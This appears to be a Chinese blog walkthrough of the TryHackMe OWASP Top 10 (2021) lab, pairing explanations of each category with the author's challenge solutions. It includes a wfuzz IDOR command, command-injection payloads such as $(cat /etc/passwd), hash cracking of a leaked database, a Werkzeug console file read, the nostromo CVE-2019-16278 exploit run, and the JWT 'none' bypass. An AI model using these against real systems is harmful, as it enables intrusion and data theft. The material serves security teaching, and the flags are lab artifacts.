【THM】OWASP 前10名—2021

发布时间 2023-08-03 22:07:29作者: 慕斯卡与密斯卡

参考链接:https://www.cnblogs.com/Hekeats-L/p/16964401.html

介绍

OWASP标志

该房间对每个 OWASP 主题进行了详细分析,并包含有关漏洞、它们如何发生以及如何利用它们的详细信息。您将通过完成支持性挑战将理论付诸实践。

  1. 访问控制损坏
  2. 加密失败
  3. 注射
  4. 不安全的设计
  5. 安全配置错误
  6. 易受攻击和过时的组件
  7. 身份验证失败
  8. 软件和数据完整性故障
  9. 安全日志记录和监控失败
  10. 服务器端请求伪造 (SSRF)

该房间专为初学者设计,无需具备任何安全知识。

1. 访问控制被破坏

访问控制

 

网站的页面受到保护,不会被普通访问者访问。例如,只有站点的管理员用户应该能够访问页面来管理其他用户。如果网站访问者可以访问他们不应该看到的受保护页面,那么访问控制就会被破坏。

普通访问者能够访问受保护的页面可能会导致以下情况:

  • 能够查看其他用户的敏感信息
  • 访问未经授权的功能

简而言之,损坏的访问控制允许攻击者绕过授权,从而允许他们查看敏感数据或执行他们不应该执行的任务。

例如,2019 年发现了一个漏洞,攻击者可以从标记为私有的 Youtube 视频中获取任何单个帧。发现该漏洞的研究人员表明,他可以请求几个帧并在一定程度上重建视频。由于用户将视频标记为私有时的期望是没有人可以访问它,因此这确实被认为是一个损坏的访问控制漏洞。

访问控制损坏(IDOR 挑战)

不安全的直接对象引用

IDOR 或不安全直接对象引用是指访问控制漏洞,您可以通过该漏洞访问通常看不到的资源。当程序员公开直接对象引用时,就会发生这种情况,该引用只是引用服务器内特定对象的标识符。就对象而言,我们可以指文件、用户、银行应用程序中的银行帐户或任何其他东西。

例如,假设我们正在登录我们的银行帐户,并在正确验证自己身份后,我们会看到这样的 URL  https://bank.thm/account?id=111111在该页面上,我们可以看到所有重要的银行详细信息,用户会做任何他们需要做的事情并继续前进,认为没有任何问题。

然而,这里存在一个潜在的巨大问题,任何人都可以将参数更改id为其他内容,例如222222,并且如果站点配置不正确,那么他就可以访问其他人的银行信息。

应用程序通过 URL 中的参数公开直接对象引用id,该参数指向特定帐户。由于应用程序不会检查登录用户是否拥有引用的帐户,因此攻击者可以通过 IDOR 漏洞从其他用户获取敏感信息。请注意,直接对象引用不是问题,而是应用程序不会验证登录用户是否有权访问所请求的帐户。

答题

答题

image

启动目标机器,利用已知信息(用户名:noot、密码:test1234)进行用户登录操作:

image

进行IDOR测试,更改浏览器URL栏中的参数值(修改为:?note=0),尝试访问与其他用户相关的资源并获取flag:

tips:使用FUZZ工具(如wfuzz)进行测试--?note=FUZZ范围设置为0到100即可。
wfuzz -c --hh 0 -z range,0-100 http://10.10.224.32/note.php?note=FUZZ
只有0和1对应的响应码为200。

image

flag为:flag{fivefourthree} 。

2. 加密失败

加密失败

加密故障指因滥用(或缺乏使用)保护敏感信息的加密算法而产生的任何漏洞。Web 应用程序需要加密技术来为其用户提供多个级别的机密性。

以安全电子邮件应用程序为例:

  • 当您使用浏览器访问电子邮件帐户时,您需要确保您与服务器之间的通信已加密。这样,任何试图捕获您的网络数据包的窃听者都将无法恢复您的电子邮件地址的内容。当我们对客户端和服务器之间的网络流量进行加密时,我们通常将其称为加密传输中的数据
  • 由于您的电子邮件存储在由您的提供商管理的某些服务器中,因此电子邮件提供商也希望无法读取其客户的电子邮件。为此,您的电子邮件在存储在服务器上时也可能会被加密。这称为静态数据加密

加密失败通常会导致网络应用程序意外泄露敏感数据。这通常是与客户直接相关的数据(例如姓名、出生日期、财务信息),但也可能是更多技术信息,例如用户名和密码。

在更复杂的层面上,利用某些加密故障通常涉及诸如“中间人攻击”之类的技术,攻击者可以通过这种技术强制用户通过他们控制的设备进行连接。然后,他们将利用对任何传输数据的弱加密来访问截获的信息(如果数据一开始就被加密)。当然,许多示例要简单得多,并且可以在 Web 应用程序中找到漏洞,无需高级网络知识即可利用这些漏洞。事实上,在某些情况下,敏感数据可以直接在网络服务器本身上找到。

本框中的 Web 应用程序包含一个此类漏洞。要继续,请通读以下任务中的支持材料。

加密失败(支持材料 1)

以可从多个位置轻松访问的格式存储大量数据的最常见方法是在数据库中。这对于 Web 应用程序之类的东西来说是完美的,因为许多用户可以随时与网站交互。数据库引擎通常遵循结构化查询语言(SQL)语法。

在生产环境中,通常会看到数据库设置在运行 MySQL 或 MariaDB 等数据库服务的专用服务器上;但是,数据库也可以存储为文件。这些被称为“平面文件”数据库,因为它们作为单个文件存储在计算机上。这比设置整个数据库服务器要容易得多,并且可能会在较小的 Web 应用程序中看到。访问数据库服务器超出了今天任务的范围,因此让我们关注平面文件数据库。

如前所述,平面文件数据库作为文件存储在计算机磁盘上。通常,这对于网络应用程序来说不是问题,但如果数据库存储在网站的根目录下(即连接到网站的用户可以访问的文件之一),会发生什么情况?好吧,我们可以在自己的机器上下载和查询它,并且可以完全访问数据库中的所有内容。确实是敏感数据泄露!

这是应对挑战的重要提示,因此让我们简要介绍一下用于查询平面文件数据库的一些语法。

平面文件数据库最常见(也是最简单)的格式是 SQLite 数据库。这些可以在大多数编程语言中进行交互,并且有一个专用的客户端用于在命令行上查询它们。该客户端被称为并默认sqlite3安装在许多Linux发行版上。

假设我们已成功下载数据库:

Linux
user@linux$ ls -l 
-rw-r--r-- 1 user user 8192 Feb  2 20:33 example.db
                                                                                                                                                              
user@linux$ file example.db 
example.db: SQLite 3.x database, last written using SQLite version 3039002, file counter 1, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 1

我们可以看到当前文件夹中有一个SQLite数据库。

要访问它,我们使用 sqlite3 <database-name>

Linux
user@linux$ sqlite3 example.db                     
SQLite version 3.39.2 2022-07-21 15:24:47
Enter ".help" for usage hints.
sqlite> 

从这里,我们可以使用以下命令查看数据库中的表 .tables :

Linux
user@linux$ sqlite3 example.db                     
SQLite version 3.39.2 2022-07-21 15:24:47
Enter ".help" for usage hints.
sqlite> .tables
customers

此时,我们可以转储表中的所有数据,但除非查看表信息,否则我们不一定知道每一列的含义。首先,我们来 PRAGMA table_info(customers); 查看表信息。然后我们将使用 SELECT * FROM customers; 从表中转储信息:

Linux
sqlite> PRAGMA table_info(customers);
0|cudtID|INT|1||1
1|custName|TEXT|1||0
2|creditCard|TEXT|0||0
3|password|TEXT|1||0

sqlite> SELECT * FROM customers;
0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
1|John Walters|4671 5376 3366 8125|fef08f333cc53594c8097eba1f35726a
2|Lena Abdul|4353 4722 6349 6685|b55ab2470f160c331a99b8d8a1946b19
3|Andrew Miller|4059 8824 0198 5596|bc7b657bd56e4386e3397ca86e378f70
4|Keith Wayman|4972 1604 3381 8885|12e7a36c0710571b3d827992f4cfe679
5|Annett Scholz|5400 1617 6508 1166|e2795fc96af3f4d6288906a90a52a47f

从表信息中我们可以看到有四列:custIDcustNamecreditCardpassword您可能会注意到这与结果相匹配。取第一行:

0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
 

我们有 custID (0)、custName (Joy Paulson)、信用卡 (4916 9012 2231 7905) 和密码哈希 (5f4dcc3b5aa765d61d8327deb882cf99)。

在下一个任务中,我们将研究破解这个哈希值。

加密失败(支持材料 2)

我们在上一个任务中了解了如何在 SQLite 数据库中查询敏感数据。我们找到了一组密码哈希值,每个用户一个。在本任务中,我们将简要介绍如何破解这些问题。

在哈希破解方面,Kali 预装了各种工具。如果您知道如何使用这些,请随意使用;然而,它们超出了本材料的范围。

相反,我们将使用在线工具:  Crackstation该网站非常擅长破解弱密码哈希。对于更复杂的哈希值,我们需要更复杂的工具;然而,今天的挑战中使用的所有可破解密码哈希值都是弱 MD5 哈希值,Crackstation 应该可以很好地处理这些哈希值。

当我们导航到该网站时,我们会看到以下界面:

破解站

让我们尝试粘贴我们在上一个任务 ( ) 中找到的 Joy Paulson 的密码哈希5f4dcc3b5aa765d61d8327deb882cf99我们解决验证码,然后单击“破解哈希”按钮:

破解密码

我们看到哈希值被成功破解,用户的密码是“password”。多么安全啊!

值得注意的是,Crackstation 使用庞大的单词列表进行工作。如果密码不在单词列表中,那么 Crackstation 将无法破解哈希值。

挑战是有指导的,因此如果 Crackstation 未能破解今天盒子中的哈希值,您可以假设该哈希值已被专门设计为不可破解。

加密失败(挑战)

答题

 

image

启动目标机器,访问目标站点,查看login网页的页面源代码,可以看到作者留下的一些评论,告诉我们 /assets 中有一个数据库文件:

image

image

image

通过浏览器的url地址栏 导航到 /assets ,找到数据库文件(点击文件即可下载到攻击机上):

image

通过浏览器下载数据库文件,然后在攻击机终端使用命令lsfile webapp.db(验证所下载的文件是否为数据库文件):

image

使用命令sqlitebrowser webapp.db通过使用可视化客户端打开数据库文件,查看用户表中的敏感信息:

image

使用以下网站,进行在线hash破解操作:

https://crackstation.net/

https://hashes.com/en/decrypt/hash

image

使用刚才得到的明文密码信息以admin用户身份登录目标站点,查看flag内容:

image

THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl} 。

3、注射

注射

注入缺陷在当今的应用中非常常见。出现这些缺陷是因为应用程序将用户控制的输入解释为命令或参数。注入攻击取决于所使用的技术以及这些技术如何解释输入。一些常见的例子包括:

  • SQL 注入:当用户控制的输入传递给 SQL 查询时,就会发生这种情况。因此,攻击者可以传入 SQL 查询来操纵此类查询的结果。当此输入传递到数据库查询时,这可能允许攻击者访问、修改和删除数据库中的信息。这意味着攻击者可以窃取敏感信息,例如个人详细信息和凭据。
  • 命令注入:当用户输入传递给系统命令时会发生这种情况。因此,攻击者可以在应用程序服务器上执行任意系统命令,从而可能允许他们访问用户的系统。

防止注入攻击的主要防御措施是确保用户控制的输入不会被解释为查询或命令。有不同的方法可以做到这一点:

  • 使用允许列表:当输入发送到服务器时,该输入将与安全输入或字符列表进行比较。如果输入被标记为安全,则会对其进行处理。否则,它会被拒绝,并且应用程序会抛出错误。
  • 剥离输入:如果输入包含危险字符,则在处理之前将其删除。

危险字符或输入被归类为可以更改基础数据处理方式的任何输入。存在各种可以为您执行这些操作的库,而不是手动构建允许列表或剥离输入。

3.1. 命令注入

命令注入

当 Web 应用程序中的服务器端代码(例如PHP)调用直接与服务器控制台交互的函数时,就会发生命令注入。注入 Web 漏洞允许攻击者利用该调用在服务器上任意执行操作系统命令。攻击者在这里的可能性是无穷无尽的:他们可以列出文件,读取其内容,运行一些基本命令以在服务器上进行一些侦察或任何他们想要的操作,就像他们坐在服务器前面直接发出命令一样进入命令行。 

一旦攻击者在 Web 服务器上站稳脚跟,他们就可以开始对您的系统进行常规枚举,并寻找绕过的方法。

代码示例

让我们考虑一个场景:MooCorp 已开始开发一个基于 Web 的应用程序,用于具有可自定义文本的奶牛 ASCII 艺术。在寻找实现应用程序的方法时,他们遇到了Linuxcowsay中的命令,它就是这样做的!他们决定编写一些简单的代码,从操作系统的控制台调用owsay命令并将其内容发送回网站,而不是编写整个Web应用程序和让奶牛用ASCII说话所需的逻辑。

让我们看看他们的应用程序使用的代码。看看您是否可以确定为什么它们的实现容易受到命令注入的攻击。我们将在下面讨论它。

<?php
    if (isset($_GET["mooing"])) {
        $mooing = $_GET["mooing"];
        $cow = 'default';

        if(isset($_GET["cow"]))
            $cow = $_GET["cow"];
        
        passthru("perl /usr/bin/cowsay -f $cow $mooing");
    }
?>

简单来说,上面的代码片段执行以下操作:

  1. 检查是否设置了参数“mooing”。如果是,变量$mooing将获取传递到输入字段的内容。
  2. 检查是否设置了参数“cow”。如果是,则变量$cow获取通过参数传递的内容。
  3. 然后程序执行该函数passthru("perl /usr/bin/cowsay -f $cow $mooing");passthru 函数只是在操作系统的控制台中执行命令并将输出发送回用户的浏览器。您可以看到我们的命令是通过在其末尾连接 $cow 和 $mooing 变量而形成的。由于我们可以操纵这些变量,因此我们可以尝试使用简单的技巧注入其他命令。如果您愿意,您可以阅读PHP 网站passthru()上的文档, 以获取有关该函数本身的更多信息。

命令注入

利用命令注入

现在我们知道了应用程序如何在幕后工作,我们将利用称为“内联命令”的 bash 功能来滥用owsay服务器并执行我们想要的任何任意命令。Bash 允许您在命令中运行命令。这出于多种原因很有用,但在我们的例子中,它将用于在owsay服务器中注入命令以使其执行。

要执行内联命令,只需按以下格式将它们括起来即可 $(your_command_here)如果控制台检测到内联命令,它会先执行它,然后将结果作为外部命令的参数。看下面的示例,它whoami作为echo命令内的内联命令运行:

内联命令

回到cowsay 服务器,如果我们向 Web 应用程序发送内联命令,将会发生以下情况:

发送我们的有效负载

由于应用程序接受我们的任何输入,因此我们可以注入一个内联命令,该命令将被执行并用作owsay的参数。这将使我们的牛说出命令返回的任何内容!如果您对Linux不太熟悉,您可能想尝试以下一些其他命令:

  • 我是谁
  • ID
  • ifconfig/ip地址
  • uname -a
  • 聚苯乙烯-EF

要完成以下问题,请导航至http://MACHINE_IP:82/ 并利用cowsay服务器。

答题

 1

键入$(ls)

2

键入$(cat /etc/passwd)

观察发现没有,即0个

3

键入$(whoami)

4

键入$(cat /etc/passwd

效果类似这张图

5

键入$(cat /etc/os-release)

4. 不安全的设计

不安全的设计

不安全的设计指的是应用程序架构固有的漏洞。它们不是关于不良实现或配置的漏洞,而是整个应用程序(或其一部分)背后的想法从一开始就有缺陷。大多数情况下,这些漏洞是在应用程序的规划阶段进行了不正确的威胁建模时发生的,并一直传播到最终的应用程序。有时,开发人员在代码周围添加一些“快捷方式”以使测试更容易时也可能会引入不安全的设计漏洞。例如,开发人员可以在开发阶段禁用 OTP 验证,以快速测试应用程序的其余部分,而无需在每次登录时手动输入代码,但在将应用程序发送到生产环境时忘记重新启用它。

不安全的密码重置

不久前 Instagram上就出现了此类漏洞的一个很好的例子Instagram 允许用户通过短信向他们的手机号码发送 6 位代码进行验证,从而重置忘记的密码。如果攻击者想要访问受害者的帐户,他可以尝试暴力破解 6 位代码。正如预期的那样,这不可能直接实现,因为 Instagram 实施了速率限制,因此在 250 次尝试后,用户将被阻止进一步尝试。

暴力破解代码

然而,我们发现速率限制仅适用于来自同一 IP 的代码尝试。如果攻击者有多个不同的 IP 地址来发送请求,他 现在可以 为每个 IP 尝试 250 个代码。对于 6 位代码,有一百万个可能的代码,因此攻击者需要 1000000/250 = 4000 个 IP 才能覆盖所有可能的代码。 这听起来似乎需要拥有大量的 IP,但云服务可以轻松地以相对较小的成本获取这些 IP,从而使这种攻击变得可行。

分布式暴力破解

请注意该漏洞与以下想法的关系:没有用户能够使用数千个 IP 地址发出并发请求来尝试暴力破解数字代码。问题在于设计而不是应用程序本身的实现。

由于不安全的设计漏洞是在开发过程的早期阶段引入的,因此解决它们通常需要从头开始重建应用程序的易受攻击部分,并且通常比任何其他简单的代码相关漏洞更难做到。避免此类漏洞的最佳方法是在开发生命周期的早期阶段执行威胁建模。要获取有关如何实施安全开发生命周期的更多信息,请务必查看SSDLC 室

实际例子

导航到http://MACHINE_IP:85 并进入 joseph 的帐户。该应用程序的密码重置机制也存在设计缺陷。你能找出所提出的设计中的弱点以及如何滥用它吗?

答题

 点击忘记密码

键入joseph

选择密保问题:最喜欢的颜色

答案为绿色 green (我试了好久才试出来)

完成后显示密码,记下来

返回登陆界面,登上约瑟夫的账号

点击 flag.txt  

THM{Not_3ven_c4tz_c0uld_sav3_U!}

5. 安全配置错误

安全配置错误

安全配置错误与其他十大漏洞不同,因为它们发生在安全配置本来可以正确配置但没有正确配置的情况下。即使您下载了最新的软件,不良的配置也可能使您的安装容易受到攻击。

安全错误配置包括:

  • 云服务(例如 S3 存储桶)的权限配置不当。
  • 启用不必要的功能,例如服务、页面、帐户或权限。
  • 密码未更改的默认帐户。
  • 错误消息过于详细,允许攻击者找到有关系统的更多信息。
  • 不使用HTTP 安全标头

此漏洞通常会导致更多漏洞,例如允许您访问敏感数据的默认凭据、XML外部实体 (XXE) 或管理页面上的命令注入。

有关详细信息,请查看OWASP 安全配置错误前 10 名条目

调试接口

常见的安全错误配置涉及生产软件中调试功能的暴露。编程框架中通常提供调试功能,允许开发人员访问高级功能,这对于在开发过程中调试应用程序很有用。如果开发人员在发布应用程序之前忘记禁用其中一些调试功能,则攻击者可能会滥用其中一些调试功能。

据称,2015 年 Patreon 遭到黑客攻击时就利用了此类漏洞。Patreon 遭到黑客攻击的五天前,一名安全研究人员向 Patreon 报告称,他发现了 Werkzeug 控制台的开放调试接口。Werkzeug 是基于 Python 的 Web 应用程序中的重要组件,因为它为 Web 服务器提供执行 Python 代码的接口。Werkzeug 包含一个调试控制台,可以通过 URL 访问/console,或者如果应用程序引发异常,它也会呈现给用户。在这两种情况下,控制台都会提供一个 Python 控制台,它将运行您发送给它的任何代码。对于攻击者来说,这意味着他可以任意执行命令。

制造控制台

实际例子

虚拟机展示了Security Misconfiguration OWASP 十大漏洞列表的一部分。

导航到http://10.10.70.65:86 并尝试利用安全配置错误来读取应用程序的源代码。

答题

 

 1

键入命令

 观察找到  todo.db 文件

2

键入命令

print(open("app.py").read())

在给出的内容里面找到flag

thm{just_a_tiny_misconfiguration}

6. 易受攻击和过时的组件

易受攻击和过时的组件

有时,您可能会发现您正在测试的公司/实体正在使用具有众所周知漏洞的程序。

例如,假设一家公司已经几年没有更新其 WordPress 版本,并且使用WPScan等工具,您发现它的版本是 4.6。一些快速研究表明 WordPress 4.6 容易受到未经身份验证的远程代码执行 (RCE) 漏洞的攻击,更好的是,您可以在 Exploit-DB上找到已经存在的漏洞。

正如您所看到的,这将是相当具有破坏性的,因为攻击者只需要很少的工作。由于该漏洞已经众所周知,因此其他人可能已经利用了该漏洞。当您意识到这种情况很容易发生时,情况会变得更糟。如果一家公司错过了其使用的程序的一次更新,那么它可能容易受到任意数量的攻击。

易受攻击和过时的组件 - 漏洞利用

回想一下,由于这是关于已知的漏洞,因此我们已经完成了大部分工作。我们的主要工作是找出该软件的信息并进行研究,直到找到漏洞利用程序。让我们通过一个示例 Web 应用程序来完成这个过程。

诺斯特罗莫版

诺斯特罗莫1.9.6

你知道什么?该服务器具有 Nostromo Web 服务器的默认页面。现在我们有了版本号和软件名称,我们可以使用 Exploit-DB 来尝试找到该特定版本的漏洞。

利用数据库搜索

幸运的是,最重要的结果恰好是一个漏洞利用脚本。让我们下载它并尝试执行代码。单独运行这个脚本给我们上了非常重要的一课。

Linux
user@linux$ python 47837.py
Traceback (most recent call last):
  File "47837.py", line 10, in <module>
    cve2019_16278.py
NameError: name 'cve2019_16278' is not defined

您从互联网下载的漏洞第一次可能不起作用。它有助于理解脚本所使用的编程语言,以便在需要时,您可以修复任何错误或进行任何修改,因为 Exploit-DB 上的很多脚本都希望您进行修改。

幸运的是,该错误是由应该注释掉的一行引起的,因此很容易修复。

# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278

cve2019_16278.py  # This line needs to be commented.

#!/usr/bin/env python

解决这个问题,让我们尝试再次运行该程序。

Linux
user@linux$ python2 47837.py 127.0.0.1 80 id


                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/




HTTP/1.1 200 OK
Date: Fri, 03 Feb 2023 04:58:34 GMT
Server: nostromo 1.9.6
Connection: close

uid=1001(_nostromo) gid=1001(_nostromo) groups=1001(_nostromo)

繁荣!我们有RCE现在需要注意的是,大多数脚本都会告诉您需要提供哪些参数。漏洞开发人员很少会为了弄清楚如何使用脚本而让您阅读可能数百行的代码。

还值得注意的是,这可能并不总是那么容易。有时您只会得到一个版本号,就像在本例中一样,但其他时候您可能需要深入研究 HTML 源代码,甚至对漏洞利用脚本进行幸运的猜测。但实际上,如果这是一个已知的漏洞,则可能有一种方法可以发现应用程序正在运行的版本。

确实如此。OWASP Top 10 的伟大之处在于,我们的工作已经完成,我们只需要做一些基础研究,作为渗透测试人员,您已经做了很多工作。

易受攻击和过时的组件 - 实验室

答题

 

 

启动目标机器,用攻击机访问目标站点:

image

在 https://www.exploit-db.com/ 搜索目标应用程序,点击下载即可:

image

image

在攻击机上使用exp,指定目标url参数:

python 47887.py http://10.10.52.29

 

7. 身份验证失败

认证失败

身份验证和会话管理构成了现代 Web 应用程序的核心组件。身份验证允许用户通过验证其身份来访问 Web 应用程序。最常见的身份验证形式是使用用户名和密码机制。用户将输入这些凭据,服务器将验证它们。如果正确的话,服务器将向用户的浏览器提供会话 cookie 需要会话 cookie,因为 Web 服务器使用 HTTP(S) 进行通信,这是无状态的。附加会话 cookie 意味着服务器将知道谁正在发送什么数据。然后服务器可以跟踪用户的操作。 
 
如果攻击者能够发现身份验证机制中的缺陷,他们可能会成功访问其他用户的帐户。这将允许攻击者访问敏感数据(取决于应用程序的目的)。身份验证机制中的一些常见缺陷包括:

  • 暴力攻击:如果 Web 应用程序使用用户名和密码,攻击者可以尝试发起暴力攻击,通过多次身份验证尝试来猜测用户名和密码。 
  • 使用弱凭据:  Web 应用程序应设置强密码策略。如果应用程序允许用户设置“password1”等密码或常用密码,则攻击者可以轻松猜出它们并访问用户帐户。
  • 弱会话 Cookie:会话 Cookie 是服务器跟踪用户的方式。如果会话 cookie 包含可预测的值,攻击者就可以设置自己的会话 cookie 并访问用户的帐户。 

根据具体的缺陷,可以有多种针对损坏的身份验证机制的缓解措施:

  • 为了避免密码猜测攻击,请确保应用程序强制执行强大的密码策略。 
  • 为了避免暴力攻击,请确保应用程序在一定次数的尝试后强制执行自动锁定。这将防止攻击者发起更多暴力攻击。
  • 实施多重身份验证。如果用户有多种身份验证方法,例如使用用户名和密码并在移动设备上接收代码,则攻击者将很难同时获取密码和代码来访问帐户。

识别和验证失败实用

对于此示例,我们将研究身份验证机制中的逻辑缺陷。

很多时候,开发人员忘记清理用户在应用程序代码中给出的输入(用户名和密码),这可能使他们容易受到 SQL 注入等攻击。然而,我们将重点关注一个由于开发人员的错误而发生但非常容易被利用的漏洞,即现有用户的重新注册。

让我们通过一个例子来理解这一点,假设有一个名为 的现有用户admin,我们想要访问他们的帐户,所以我们可以做的是尝试重新注册该用户名,但稍加修改。我们将输入不带引号的“admin”(注意开头的空格)。现在,当您在用户名字段中输入该信息并输入其他必需信息(例如电子邮件 ID 或密码)并提交该数据时,它将注册一个新用户,但该用户将拥有与管理员帐户相同的权利。该新用户还可以看到该用户下显示的所有内容admin

要查看实际效果,请访问http://10.10.70.65:8088 并尝试使用您的用户名进行注册darren您会看到该用户已经存在,因此尝试注册“darren”,您会看到您现在已登录,并且可以看到仅存在于 darren 帐户中的内容,在我们的例子中,这是一个标志你需要检索。

答题

image

启动目标机,访问目标站点: http://10.10.116.78:8888/

注册名为“ darren”的用户(注意此用户名开头含有空格),登录新用户并查看flag内容:

image

image

注册名为“ arthur”的用户(注意此用户名开头含有空格),登录新用户并查看flag内容:

image

image

 8. 软件和数据完整性故障

什么是诚信?

当谈论完整性时,我们指的是我们必须确定一段数据未被修改的能力。完整性对于网络安全至关重要,因为我们关心维护重要数据免受不必要或恶意的修改。例如,假设您正在下载某个应用程序的最新安装程序。您如何确定下载时它没有在传输过程中被修改或因传输错误而被损坏?

为了解决这个问题,您经常会看到与文件一起发送的哈希值 ,以便您可以证明您下载的文件保持其完整性并且在传输过程中没有被修改。哈希或摘要只是对一段数据应用特定算法所产生的数字。在阅读有关哈希算法的内容时,您经常会阅读有关 MD5、SHA1、SHA256 或许多其他可用算法的内容。

让我们以 WinSCP 为例来更好地理解如何使用哈希来检查文件的完整性。 如果您访问他们的Sourceforge 存储库,您会看到对于每个可供下载的文件,都会发布一些哈希值:

WinSCP 哈希值

这些哈希值是由 WinSCP 的创建者预先计算的,以便您可以在下载后检查文件的完整性。如果我们下载该WinSCP-5.21.5-Setup.exe文件,我们可以重新计算哈希值并将它们与 Sourceforge 中发布的哈希值进行比较。要计算Linux中的不同哈希值,我们可以使用以下命令:

攻击盒
user@attackbox$ md5sum WinSCP-5.21.5-Setup.exe          
20c5329d7fde522338f037a7fe8a84eb  WinSCP-5.21.5-Setup.exe
                                                                                                                
user@attackbox$ sha1sum WinSCP-5.21.5-Setup.exe 
c55a60799cfa24c1aeffcd2ca609776722e84f1b  WinSCP-5.21.5-Setup.exe
                                                                                                                
user@attackbox$ sha256sum WinSCP-5.21.5-Setup.exe 
e141e9a1a0094095d5e26077311418a01dac429e68d3ff07a734385eb0172bea  WinSCP-5.21.5-Setup.exe

由于我们获得了相同的哈希值,因此我们可以放心地得出结论:我们下载的文件与网站上的文件完全相同。

软件和数据完整性故障

此漏洞是由使用软件或数据而不使用任何类型的完整性检查的代码或基础设施引起的。由于没有进行完整性验证,攻击者可能会修改传递给应用程序的软件或数据,从而导致意外后果。该类漏洞主要有两类:

  • 软件完整性故障
  • 数据完整性故障

软件完整性故障

软件完整性故障

假设您有一个网站,该网站使用第三方库,这些库存储在一些不受您控制的外部服务器中。虽然这听起来有点奇怪,但这实际上是一种常见的做法。以常用的 javascript 库 jQuery 为例。如果需要,您可以直接从他们的服务器将 jQuery 添加到您的网站中,而无需实际下载它,只需在网站的 HTML 代码中添加以下行:

<script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>

当用户导航到您的网站时,其浏览器将读取其 HTML 代码并从指定的外部源下载 jQuery。

JS 没有完整性检查

问题是,如果攻击者以某种方式侵入 jQuery 官方存储库,他们就可以更改 jQuery 的内容https://code.jquery.com/jquery-3.6.1.min.js 以注入恶意代码。因此,任何访问您网站的人现在都会提取恶意代码并在不知不觉中将其执行到浏览器中。这是软件完整性故障,因为您的网站没有检查第三方库以查看它是否已更改。现代浏览器允许您沿着库的 URL 指定哈希,以便仅当下载文件的哈希与预期值匹配时才执行库代码。这种安全机制称为子资源完整性 (SRI),您可以 在此处阅读有关它的更多信息。

在 HTML 代码中插入库的正确方法是使用 SRI 并包含完整性哈希,这样,如果攻击者能够以某种方式修改库,则任何浏览您网站的客户端都不会执行修改后的版本。HTML 中的内容应如下所示:

<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>

如果需要,您可以访问 https://www.srihash.org/ 为任何库生成哈希值。

答题

 

 根据提示进入  https://www.srihash.org/

键入  目标网站  https://code.jquery.com/jquery-1.12.4.min.js

 

 答案为

sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=

数据完整性故障

数据完整性故障

让我们考虑一下 Web 应用程序如何维护会话。通常,当用户登录应用程序时,他们将被分配某种会话令牌,只要会话持续,就需要将其保存在浏览器上。此令牌将在每个后续请求中重复,以便 Web 应用程序知道我们是谁。这些会话令牌可以有多种形式,但通常通过 cookie 分配。Cookie是网络应用程序将存储在用户浏览器上的键值对,并且会在每次向发出它们的网站发出请求时自动重复。

饼干

例如,如果您正在创建一个网络邮件应用程序,则可以在登录后为每个用户分配一个包含用户名的 cookie。在后续请求中,您的浏览器始终会在 cookie 中发送您的用户名,以便您的 Web 应用程序知道哪个用户正在连接。从安全角度来看,这将是一个糟糕的想法,因为正如我们提到的,cookie 存储在用户的浏览器上,因此如果用户篡改 cookie 并更改用户名,他们可能会冒充其他人并阅读他们的电子邮件!该应用程序将遭受数据完整性故障,因为它信任攻击者可以篡改的数据。

解决此问题的一种方法是使用某种完整性机制来保证 cookie 没有被用户更改。为了避免重新发明轮子,我们可以使用一些令牌实现来允许您执行此操作并处理所有密码学以提供完整性证明,而无需您费心。JSON Web Tokens (JWT)就是这样的一种实现

JWT 是非常简单的令牌,允许您在令牌上存储键值对,并作为令牌的一部分提供完整性。这个想法是,您可以生成令牌,您可以向用户提供这些令牌,确保他们无法更改键值对并通过完整性检查。JWT 令牌的结构由 3 部分组成:

JSON 网络令牌

标头包含指示这是 JWT 的元数据,并且使用的签名算法是 HS256。有效负载包含键值对以及 Web 应用程序希望客户端存储的数据。签名类似于哈希,用于验证有效负载的完整性。如果您更改有效负载,Web 应用程序可以验证签名是否与有效负载不匹配,并知道您篡改了 JWT。与简单的哈希不同,此签名涉及仅使用服务器持有的密钥,这意味着如果您更改有效负载,除非您知道密钥,否则将无法生成匹配的签名。

请注意,令牌的 3 个部分中的每一个部分都是使用 Base64 编码的简单明文。您可以使用此在线工具对 Base64 进行编码/解码。尝试解码以下令牌的标头和有效负载:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7wPgVLvEUonaieJWBJBYt5xOph2CpIhlxqdUw

注意:签名包含二进制数据,所以即使你解码它,你也无法理解它的意义。

JWT 和 None 算法

不久前,一些实现 JWT 的库存在数据完整性失败漏洞。正如我们所看到的,JWT 实现了签名来验证有效负载数据的完整性。易受攻击的库允许攻击者通过更改 JWT 中的以下两项来绕过签名验证:

  1. 修改令牌的标头部分,以便alg 标头包含 value none
  2. 删除签名部分。

以之前的 JWT 为例,如果我们想更改有效负载,使用户名变为“admin”并且不进行签名检查,我们必须解码标头和有效负载,根据需要修改它们,然后将它们编码回来。请注意我们如何删除签名部分但保留末尾的点。

JWT 无 算法

听起来很简单!让我们在示例场景中逐步了解攻击者必须遵循的过程。导航至 http://10.10.70.65:8089/ 并按照以下问题中的说明进行操作。

答题

 

稀里糊涂 ,上面显示  guest为用户名时密码为guest,试了试就登上了

 

